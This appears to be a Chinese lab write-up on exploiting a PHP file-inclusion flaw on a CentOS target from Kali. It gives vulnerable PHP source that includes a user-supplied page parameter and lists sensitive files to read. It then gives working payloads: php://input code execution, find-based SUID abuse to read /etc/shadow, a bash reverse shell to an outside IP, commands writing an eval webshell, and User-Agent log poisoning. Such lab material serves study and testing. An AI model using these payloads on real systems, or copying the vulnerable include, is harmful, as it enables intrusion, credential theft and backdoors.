一、环境搭建
攻击机:kali
IP地址:192.168.0.13
靶机:Centos
IP地址:192.168.0.20
实验使用源代码如下
<html>
<body>
<h1>请选择数字</h1>
<form action="?page=<?php $file = $_GET[ 'page' ];
echo $file; ?>" method="GET">
<select name="page">
<option value="1.php">1</option>
<option value="2.php">2</option>
<option value="3.php">3</option>
</select>
<input type="submit" , value="提交">
</form>
<?php
$file = $_GET[ 'page' ];
include $file;
?>
二、实验步骤
1.扫描端口80
PHP中文件包含函数有以下四种:
require() // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序继续运行
require_once() // 如果一个文件已经被包含过,则不会在包含它
include() // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序终止运行
include_once() // 如果一个文件已经被包含过,则不会在包含它
测试方法为是否可以通过用户控制,包含其他恶意文件,导致了执行访问了非预期的文件。
这里列下一些常见的列表
- 根目录:
/etc/passwd
(用于Linux系统用户信息)/etc/hosts
(域名到IP地址映射)
- Web应用目录:
index.php
config.php
header.php
footer.php
- 日志文件:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
- 系统配置文件:
/proc/self/environ
/proc/version
- Windows系统文件(如果目标是Windows):
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\host
这里尝试包含成功访问
这里开始尝试getshell
这里我们使用php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。 例如: http://127.0.0.1/cmd.php?cmd=php://input POST数据:<?php phpinfo()?> 注意: 当enctype=”multipart/form-data”的时候 php://input` 是无效的 遇到file_get_contents()要想到用php://input绕过。
这里我们的思路可以放开多用几种姿势getshell
(一) 提权
发现find命令
touch abc
find abc -exec whoami \;
我们当前用户没有写入权限所以我们查询1.php
<?php system("find 1.php -exec cat /etc/shadow \;");?>
(二) 反弹shell
<?php
system('/bin/bash -c "bash -i >& /dev/tcp/192.168.107.115/9999 0>&1"');
?>
提权姿势
find / -perm -u=s -type f 2>/dev/null //查找suid命令
find / -perm -g=s -type f 2>/dev/null //查找sgid文件
find . -exec /bin/sh -p \; -quit
(三) 写马子
这些环境都是为了能看到一个终端
写入一句话木马
使用单引号'
包裹外部字符串,可以避免PHP解析器混淆。
在字符串内部,使用反斜杠\
对引号进行转义,确保嵌套的引号能够正确解析。
<?php
system('echo "<?php eval(\$_POST[\"cmd\"]); ?>" > 7.php');
?>
使用蚁剑连接
或者通过find写入木马
<?php
system('find 1.php -exec sh -c \'echo "<?php eval(\\$_POST[\\"cmd\\"]); ?>" > 11.php\' \;');
<?php
system('find 1.php -exec chmod 777 11.php \;');
?>
(四) user-angnt注入
为了实验我们适当的更改权限
#centos 下默认路径
/var/log/nginx/access.log
/var/log/httpd/access_log
#ubuntu下默认路径
/var/log/apache2/access.log
/var/log/nginx/access.log
通过观察可以发现目标日志系统会将user-angnt记录
我们在可在ua头里写入马子